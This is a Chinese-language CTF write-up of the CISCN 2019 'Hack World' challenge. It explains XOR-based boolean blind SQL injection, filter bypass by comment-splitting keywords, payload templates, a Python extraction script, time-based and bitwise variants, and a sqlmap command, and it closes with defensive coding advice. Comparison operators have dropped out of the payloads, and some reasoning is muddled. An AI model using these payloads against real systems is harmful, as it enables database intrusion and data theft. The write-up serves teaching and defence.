SQL注入绕过新思路:异或运算在布尔盲注中的实战应用 1. 项目概述一次经典的异或注入实战剖析最近在复盘一些经典的CTF题目2019年全国大学生信息安全竞赛CISCN华北赛区Day2的Web1 “Hack World” 给我留下了深刻的印象。这道题之所以经典不仅因为它考察了SQL注入更因为它巧妙地绕过了常规的过滤手段将“异或注入”这一相对小众但威力巨大的技术推到了前台。很多刚接触Web安全的朋友对SQL注入的理解可能还停留在union select、order by这类基础手法上一旦遇到过滤了空格、引号、or、and、union等关键词的题目就容易陷入僵局。而“Hack World”这道题正是检验你是否真正理解SQL查询逻辑能否灵活运用运算符的绝佳案例。简单来说这道题模拟了一个极简的查询页面你输入一个数字ID它返回数据库中对应的数据。题目提示“flag在flag表的flag列里”目标很明确通过构造特殊的输入让这个查询语句泄露flag。但当你尝试1 or 11、1 union select 1,2,3这类常规payload时只会得到统一的“SQL Injection Checked.”错误提示。这说明后端有严格的过滤机制。这道题的核心就是教你如何在不使用被禁关键词的情况下通过“异或运算”来逐位爆破出我们想要的信息。整个过程就像是在与一个“黑盒”系统对话我们通过输入不同的“问题”payload观察它的“回答”返回结果从而一步步将黑盒的内部逻辑数据库内容揭示出来变成我们理解的“白盒”。接下来我将带你完整复盘这次从黑盒到白盒的渗透过程并深入拆解其背后的每一个技术细节。2. 环境探测与过滤规则分析2.1 初探与基础信息收集面对任何Web题目第一步永远是信息收集。访问题目环境通常是一个极其简单的页面可能只有一个输入框和一个提交按钮。页面的标题、源码包括HTML注释、HTTP响应头都可能隐藏着线索。对于这道题我们首先尝试最基础的交互。我们输入数字1页面返回了数据库中ID为1的记录内容比如“Hello, world”。输入2返回另一条记录。这说明后端逻辑大致是SELECT * FROM [表名] WHERE id [用户输入]。这是一个典型的数字型注入点因为输入被直接拼接到了查询语句中理想情况下我们是可以操控整个WHERE条件的。紧接着我们开始测试边界和过滤规则。这是最关键的一步目的是摸清“黑盒”的防御机制。测试基础注入字符输入1或1如果页面报错显示数据库错误信息说明可能存在字符型注入且引号未被过滤。如果返回“SQL Injection Checked.”则说明单引号或双引号被检测并拦截了。输入1 and 11和1 and 12这是经典的布尔盲注测试。如果前者返回正常结果后者返回异常或空则说明and和等号未被过滤且存在布尔盲注条件。但在这道题里大概率会触发过滤。触发过滤规则当我们输入1 or 11、1 union select 1,2、1 and 11时页面统一返回“SQL Injection Checked.”。这是一个非常明确的信号后端有一个WAFWeb应用防火墙或简单的字符串过滤函数它检测到了一些危险关键词如or,and,union,select, 空格, 引号等的组合并直接阻断了请求。注意这里的“SQL Injection Checked.”是一种主动防御的提示它没有泄露具体的错误信息比直接显示数据库错误更安全但也告诉我们过滤是存在的。我们的目标就是找到一种不被它“检查”出来的表达方式。2.2 深入分析过滤逻辑仅仅知道有关键词过滤还不够我们需要知道具体过滤了什么以及过滤的严格程度。是简单的字符串匹配还是更智能的解析我们可以通过一些变形来测试大小写绕过尝试1 OR 11或1 UniOn SeLeCt 1。如果依然被拦截说明过滤可能是大小写不敏感的或者使用了正则表达式如/\b(union|select|or|and)\b/i。双写绕过尝试1 oorr 11。有些简单的过滤会移除一次关键词双写后变成oorr- 移除or- 剩下or。如果这样能绕过说明过滤逻辑较弱。注释符测试尝试1/**/or/**/11。用/**/或%0a换行符代替空格是绕过空格过滤的常见手段。如果成功说明它只过滤了空格字符本身没有过滤其他空白符。运算符测试尝试1 || 11。在MySQL中||是逻辑或运算符是逻辑与运算符。如果or被过滤但||能用我们就找到了替代品。经过一系列测试我们可能会发现在这道“Hack World”题目中常见的or,and,union,select,from,where等关键词以及空格和引号都被严格过滤了。甚至||和也可能被列入黑名单。此时常规的注入手段几乎全部失效我们急需一种新的、不依赖于这些敏感字符的注入方法。3. 核心原理异或运算在SQL注入中的妙用当所有“明路”都被堵死时我们就需要回归到SQL语言和计算机逻辑运算的本源。这里隆重登场的就是“异或注入”。3.1 什么是异或运算异或XOR是一种逻辑运算符符号在MySQL中通常是^。它的运算规则非常简单两者相同则为假0两者不同则为真1。用真值表表示就是ABA XOR B000011101110在SQL的WHERE子句中条件表达式的结果会被求值为 TRUE非0 或 FALSE0。WHERE 1意味着条件永真返回所有记录WHERE 0意味着条件永假不返回任何记录。3.2 异或如何构造布尔逻辑异或运算有一个极其有用的性质A XOR 0 AA XOR 1 NOT A。让我们把这个性质代入到SQL查询中。假设原查询是SELECT * FROM articles WHERE id [输入]如果我们输入1^(条件表达式)查询就变成了SELECT * FROM articles WHERE id 1^(条件表达式)这里的关键在于id字段的值通常是1, 2, 3这样的整数。条件表达式是我们构造的其最终结果只能是 TRUE(1) 或 FALSE(0)。当条件表达式为 TRUE(1) 时id 1^1。由于1^10所以条件是id 0。数据库中一般没有id0的记录所以查询结果为空。当条件表达式为 FALSE(0) 时id 1^0。由于1^01所以条件是id 1。这会返回数据库中id1的记录。看到了吗我们通过一个异或操作将条件表达式的真假转换成了查询是否返回id1的记录。页面返回内容的不同有数据 vs 无数据就构成了一个布尔盲注的条件我们不需要or,and只需要一个^运算符和一个能返回真假值的子查询。3.3 构造不依赖敏感词的子查询既然select,from等关键词也被过滤了我们如何构造条件表达式呢在MySQL中除了SELECT语句还有很多函数和表达式可以直接用在WHERE子句里并且返回标量值。一个最核心的函数是if(expr1, expr2, expr3)。如果expr1为TRUE则返回expr2否则返回expr3。 另一个关键函数是ascii(substr(string, pos, length))用于获取字符串某个位置的ASCII码。我们可以将它们组合起来构造出这样的表达式if((ascii(substr((SELECT password FROM users LIMIT 1), 1, 1)) 100), 1, 0)这个表达式的意思是检查users表第一行password字段的第一个字符的ASCII码是否大于100。如果大于返回1TRUE否则返回0FALSE。但是这里出现了SELECT和FROM它们被过滤了。怎么办在MySQL中有一种特殊的语法(SELECT ...)可以简写为SELECT ...的括号形式但在某些上下文中甚至可以直接用(语句)来作为一个标量子查询。然而更常见的绕过方式是使用反引号、内联注释或者字符串编码。但在这道题里经过测试我们发现直接使用select是不行的。此时我们需要利用MySQL的另一个特性某些查询结果可以被缓存或直接引用不更直接的方法是题目可能并没有过滤所有函数或者存在一些意想不到的查询路径。实际上对于这道“Hack World”经过更深入的测试我们发现过滤并非绝对。它可能只过滤了select出现在特定位置的情况或者我们可以利用无列名注入的技巧。但为了普适性教学我们假设select被完全过滤。那么我们还有一条路利用已知信息进行布尔判断。如果flag在flag表的flag列我们虽然不能直接select flag from flag但我们可以猜测这个查询本身已经被写在了后台的某个逻辑里虽然这不太现实或者更实际的是我们利用异或直接改变原查询的意图。实际上在这道经典题目中经过反复测试最终的突破口是过滤并非天衣无缝select关键词可以通过内联注释/**/进行分割来绕过。例如sel/**/ect。同时空格可以用括号()来替代因为MySQL中函数参数间的空格很多时候不是必须的。所以一个可用的子查询可能被构造成(sel/**/ect(flag)from(flag))。实操心得在面对过滤时不要轻易放弃一个关键词。尝试用各种分隔符/**/,/*!*/,%0a,%0b,%0c,%0d,%09(tab)对其进行分割。同时尝试用括号包裹整个查询或函数参数有时可以奇迹般地绕过对空格的检测。4. 完整注入流程与手工逐位爆破理解了原理我们就可以开始手工爆破flag了。这个过程是机械但需要耐心的。我们假设通过测试找到了一个可用的payload模板1^(ascii(substr((sel/**/ect(flag)from(flag)),{pos},1)){mid}){pos}: 要爆破的字符位置从1开始。{mid}: 用于二分比较的ASCII码中间值。4.1 判断注入点与盲注类型首先确认我们的异或盲注是否有效。输入1^(0)。 因为1^01 应返回id1的数据。输入1^(1)。 因为1^10 应返回空或与id1时不同的页面。 如果两者返回结果不同说明异或逻辑生效布尔盲注条件成立。4.2 判断flag长度在爆破内容前我们需要知道flag有多长以便设置循环终点。我们可以使用length()函数。 构造payload1^(length((sel/**/ect(flag)from(flag))){guess_length})通过不断调整{guess_length}的值比如用二分法50, 25, 37...观察页面返回的是id1的数据还是空数据最终可以确定准确长度。假设我们最终测得长度为42。4.3 逐位爆破flag内容现在我们对每一位字符进行ASCII码的二分查找。以第一位字符为例首先判断其ASCII码是否大于128ASCII码范围0-127但flag可能包含{、}等符号其ASCII码大于100。Payload:1^(ascii(substr((sel/**/ect(flag)from(flag)),1,1))128)。如果返回id1的内容说明条件为假ASCII码不大于128如果返回空说明条件为真ASCII码大于128。假设返回id1的内容假那么我们就在0-128之间继续二分。取中间值641^(ascii(substr(...),1,1))64)。根据返回结果真或假调整区间。如果为真则在65-128之间取中间值如果为假则在0-64之间取中间值。如此反复直到区间缩小到一个具体的数值这个数值就是该字符的ASCII码。例如最终确定99为假100为真那么ASCII码就是100对应的字符是d。将{pos}改为2重复上述过程获取第二个字符。如此循环直到第42位。这个过程非常繁琐手工操作几乎不可能完成必须借助脚本。4.4 Python自动化爆破脚本编写下面是一个用于自动化此过程的Python脚本示例。它使用requests库发送HTTP请求并根据页面特征是否包含“Hello”这类id1的标识文本来判断布尔条件真假。import requests import time url http://your_target_url/index.php # 替换为目标URL flag_length 42 # 假设我们已经获取到的flag长度 flag # 用于判断单个请求是True还是False的函数 def check(payload): data {id: payload} # 根据实际表单字段名修改可能是id, input等 # 可能需要添加其他头部如Cookie、User-Agent headers { User-Agent: Mozilla/5.0, Content-Type: application/x-www-form-urlencoded } try: r requests.post(url, datadata, headersheaders, timeout5) # 判断条件如果页面中包含id1时的特征字符串例如“Hello”则说明异或条件为假(0)返回False # 如果页面中不包含该特征即查询结果为空则说明异或条件为真(1)返回True # 你需要根据实际页面响应调整这个判断逻辑 if Hello in r.text: # 假设id1时页面包含“Hello” return False # 条件为假返回了id1的数据 else: return True # 条件为真未返回id1的数据 except Exception as e: print(f请求失败: {e}) return None # 二分法获取一个字符的ASCII码 def get_char(pos): low, high 32, 127 # 可打印字符的ASCII范围 while low high: mid (low high) // 2 # 构造payload判断当前位置字符的ASCII码是否大于mid # 注意这里需要根据实际的过滤情况调整payload的写法例如使用内联注释 # 原始模板1^(ascii(substr((sel/**/ect(flag)from(flag)),{pos},1)){mid}) payload f1^(ascii(substr((sel/**/ect(flag)from(flag)),{pos},1)){mid}) print(f测试位置 {pos}: {payload}) # 调试用 if check(payload): # 如果条件为真页面无数据说明ASCII mid搜索右半边 low mid 1 else: # 如果条件为假页面有数据说明ASCII mid搜索左半边 high mid - 1 time.sleep(0.1) # 避免请求过快被屏蔽 # 循环结束时low是大于mid的最小值而high是小于等于mid的值。通常取low-1或high作为结果。 # 根据二分查找逻辑最终low high且low是第一个使条件为假的mid1所以字符是low-1 return chr(low-1) # 主循环 for i in range(1, flag_length 1): char get_char(i) flag char print(f当前flag: {flag}) time.sleep(0.5) print(f最终flag: {flag})注意事项页面判断逻辑脚本中的if Hello in r.text:是关键你必须先手动访问id1和id1^1的页面找到两者之间稳定、唯一的区别。可能是某个单词、标签、或者整个响应体长度的不同。这个判断逻辑直接决定了爆破的准确性。请求频率一定要加上time.sleep()否则极易触发目标服务器的速率限制或WAF规则导致IP被封锁。Payload调整脚本中的payload是示例你必须根据题目实际的过滤情况调整关键词的绕过方式如sel/**/ect。错误处理网络请求可能失败脚本应具备一定的重试或错误处理机制。5. 进阶技巧与替代方案探讨5.1 时间盲注作为备选方案如果题目连布尔盲注的差异都抹平了例如无论查询结果如何页面返回的HTTP状态码和内容长度都完全一样那么我们就需要祭出终极武器时间盲注。时间盲注的原理是利用if(条件, sleep(秒数), 0)这样的表达式如果条件为真就让数据库睡眠几秒从而让HTTP响应延迟。我们通过计算响应时间来判断条件真假。对应的payload模板会变成1^if(ascii(substr((sel/**/ect(flag)from(flag)),1,1))100,sleep(3),0)我们需要编写脚本发送请求并计算响应时间。如果响应时间明显大于3秒加上网络延迟则认为条件为真否则为假。时间盲注的优点是更隐蔽但速度极慢因为每个位的判断都需要等待睡眠时间。5.2 利用位运算加速爆破在我们使用的二分法基础上还可以结合位运算进行逐位判断理论上比二分法更快。一个字符的ASCII码是8位二进制我们可以从最高位第7位到最低位第0位依次判断每一位是0还是1。判断第bit位是否为1的payload1^(ascii(substr(...)){bit} 1)例如判断第一位字符的第7位最高位1^((ascii(substr((sel/**/ect(flag)from(flag)),1,1))7)1)如果结果为1则表达式结果为1^10返回空如果为0则1^01返回id1的数据。这样每个字符只需要8次请求即可确定比二分法平均需要的7-8次请求略优或相当但逻辑更统一。5.3 工具化实现与思考手工编写脚本虽然学习效果好但在实战中我们可以借助成熟的工具如sqlmap。sqlmap功能强大自带各种绕过tamper脚本。对于这道题我们可以尝试sqlmap -u http://target/index.php --dataid1 --techniqueB --tamperspace2comment --level3 --risk3--techniqueB: 指定使用布尔盲注。--tamperspace2comment: 使用将空格替换为注释的篡改脚本。--level3 --risk3: 提高检测等级和风险等级。但需要注意的是sqlmap的自动化payload可能无法直接绕过题目中定制化的过滤规则比如对select关键词的特殊检测。很多时候手工分析和构造payload仍然是不可替代的。工具能提高效率但理解原理才是根本。6. 防御策略与安全开发启示从攻击者视角复盘之后我们更应该从开发者角度思考如何避免这样的漏洞使用参数化查询预编译语句这是防止SQL注入的黄金法则。无论是PHP的PDO、Python的sqlite3或MySQLdb、Java的PreparedStatement都应该将用户输入作为参数传递而不是拼接字符串。这样数据库会将输入始终视为数据而非可执行代码。严格的输入验证与过滤如果因为历史原因必须使用拼接那么必须进行严格的输入验证。对于数字型参数确保输入确实是数字如is_numeric()或intval()。对于其他类型定义严格的白名单字符集。最小权限原则连接数据库的应用程序账号只应拥有完成其功能所需的最小权限。绝对不要使用root或拥有FILE、PROCESS等高权限的账户。这样即使发生注入攻击者能造成的破坏也有限。避免详细的错误信息像“SQL Injection Checked.”这样的通用错误提示就很好。千万不要将数据库的错误信息如语法错误、表名、列名直接返回给前端这会给攻击者提供大量线索。Web应用防火墙WAF部署WAF可以在网络层面拦截常见的攻击payload作为一道额外的防线。但WAF不是万能的可能存在绕过方法不能替代安全的编码实践。代码审计与安全测试定期对代码进行安全审计并采用自动化工具和手动渗透测试相结合的方式主动发现潜在漏洞。这道“Hack World”题目虽然设置了过滤但过滤规则的不完备性例如未能有效处理内联注释分割关键词最终导致了漏洞被利用。这告诉我们安全防御是一个系统工程任何一环的疏忽都可能导致前功尽弃。作为开发者必须将安全思维融入到软件开发生命周期的每一个环节作为安全研究者或爱好者则需要不断深入理解底层原理才能在看似固若金汤的防御中找到那一道细微的裂缝。